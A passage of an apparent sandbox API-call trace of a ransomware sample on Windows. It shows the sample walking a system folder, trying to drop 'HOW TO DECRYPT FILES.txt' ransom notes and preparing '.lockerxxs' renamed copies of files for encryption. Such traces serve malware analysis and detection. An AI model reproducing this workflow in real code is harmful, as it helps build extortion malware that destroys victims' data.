ftCreationTime.dwLowDateTime=0x112dd85c, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x1134fc6a, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x1134fc6a, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.631] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0165.631] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0165.631] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb050935e, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb050935e, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x90c4fc59, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x3b8, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="alert_lrg.gif", cAlternateFileName="ALERT_~1.GIF")) returned 1 [0165.631] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.631] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="alert_lrg.gif") returned 1 [0165.631] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="alert_lrg.gif") returned 1 [0165.631] lstrcmpiA (lpString1="", lpString2="alert_lrg.gif") returned -1 [0165.631] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\*.*") returned="*.*" [0165.631] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\" [0165.631] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\") returned="" [0165.631] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\HOW TO DECRYPT FILES.txt" [0165.631] GetFileAttributesA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\how to decrypt files.txt")) returned 0xffffffff [0165.631] CreateFileA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.632] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.632] CloseHandle (hObject=0xffffffff) returned 0 [0165.632] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\", lpString2="alert_lrg.gif" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\alert_lrg.gif") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\alert_lrg.gif" [0165.632] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\alert_lrg.gif", pszSpec="*.ems") returned 0 [0165.632] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb052f4bb, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb052f4bb, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x90c4fc59, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x31, dwReserved0=0x0, dwReserved1=0x0, cFileName="alert_sml.gif", cAlternateFileName="ALERT_~2.GIF")) returned 1 [0165.632] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.632] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="alert_sml.gif") returned 1 [0165.632] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="alert_sml.gif") returned 1 [0165.632] lstrcmpiA (lpString1="", lpString2="alert_sml.gif") returned -1 [0165.632] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\alert_lrg.gif") returned="alert_lrg.gif" [0165.632] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\" [0165.632] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\") returned="" [0165.633] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\HOW TO DECRYPT FILES.txt" [0165.633] GetFileAttributesA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\how to decrypt files.txt")) returned 0xffffffff [0165.633] CreateFileA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.633] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.633] CloseHandle (hObject=0xffffffff) returned 0 [0165.633] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\", lpString2="alert_sml.gif" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\alert_sml.gif") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\alert_sml.gif" [0165.633] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\alert_sml.gif", pszSpec="*.ems") returned 0 [0165.634] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb057b775, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb057b775, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x90c75db7, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x57e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ASPdotNET_logo.jpg", cAlternateFileName="ASPDOT~1.JPG")) returned 1 [0165.634] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.634] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ASPdotNET_logo.jpg") returned 1 [0165.634] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ASPdotNET_logo.jpg") returned 1 [0165.634] lstrcmpiA (lpString1="", lpString2="ASPdotNET_logo.jpg") returned -1 [0165.634] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\alert_sml.gif") returned="alert_sml.gif" [0165.634] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\" [0165.634] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\") returned="" [0165.634] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\HOW TO DECRYPT FILES.txt" [0165.634] GetFileAttributesA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\how to decrypt files.txt")) returned 0xffffffff [0165.634] CreateFileA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.635] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.635] CloseHandle (hObject=0xffffffff) returned 0 [0165.635] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\", lpString2="ASPdotNET_logo.jpg" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\ASPdotNET_logo.jpg") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\ASPdotNET_logo.jpg" [0165.635] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\ASPdotNET_logo.jpg", pszSpec="*.ems") returned 0 [0165.635] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\ASPdotNET_logo.jpg" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\ASPdotNET_logo.jpg") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\ASPdotNET_logo.jpg" [0165.635] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\ASPdotNET_logo.jpg" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\ASPdotNET_logo.jpg") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\ASPdotNET_logo.jpg" [0165.635] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\ASPdotNET_logo.jpg", lpString2="." | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\ASPdotNET_logo.jpg.") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\ASPdotNET_logo.jpg." [0165.635] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\ASPdotNET_logo.jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\ASPdotNET_logo.jpg.lockerxxs") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\ASPdotNET_logo.jpg.lockerxxs" [0165.635] CreateFileA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\ASPdotNET_logo.jpg" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\aspdotnet_logo.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.635] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb05a18d2, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb05a18d2, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x90c9bf15, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x79, dwReserved0=0x0, dwReserved1=0x0, cFileName="aspx_file.gif", cAlternateFileName="ASPX_F~1.GIF")) returned 1 [0165.635] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.636] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="aspx_file.gif") returned 1 [0165.636] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="aspx_file.gif") returned 1 [0165.636] lstrcmpiA (lpString1="", lpString2="aspx_file.gif") returned -1 [0165.636] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\ASPdotNET_logo.jpg") returned="ASPdotNET_logo.jpg" [0165.636] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\" [0165.636] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\") returned="" [0165.636] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\HOW TO DECRYPT FILES.txt" [0165.636] GetFileAttributesA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\how to decrypt files.txt")) returned 0xffffffff [0165.636] CreateFileA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.636] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.636] CloseHandle (hObject=0xffffffff) returned 0 [0165.637] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\", lpString2="aspx_file.gif" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\aspx_file.gif") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\aspx_file.gif" [0165.637] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\aspx_file.gif", pszSpec="*.ems") returned 0 [0165.637] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb05edb8c, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb05edb8c, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x90c9bf15, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x7ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="branding_Full2.gif", cAlternateFileName="BRANDI~1.GIF")) returned 1 [0165.637] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.637] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="branding_Full2.gif") returned 1 [0165.637] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="branding_Full2.gif") returned 1 [0165.637] lstrcmpiA (lpString1="", lpString2="branding_Full2.gif") returned -1 [0165.637] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\aspx_file.gif") returned="aspx_file.gif" [0165.637] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\" [0165.637] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\") returned="" [0165.637] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\HOW TO DECRYPT FILES.txt" [0165.637] GetFileAttributesA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\how to decrypt files.txt")) returned 0xffffffff [0165.637] CreateFileA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.638] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.638] CloseHandle (hObject=0xffffffff) returned 0 [0165.638] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\", lpString2="branding_Full2.gif" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\branding_Full2.gif") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\branding_Full2.gif" [0165.638] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\branding_Full2.gif", pszSpec="*.ems") returned 0 [0165.638] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0639e46, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb0639e46, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x90ce81d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x2044, dwReserved0=0x0, dwReserved1=0x0, cFileName="darkBlue_GRAD.jpg", cAlternateFileName="DARKBL~1.JPG")) returned 1 [0165.638] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 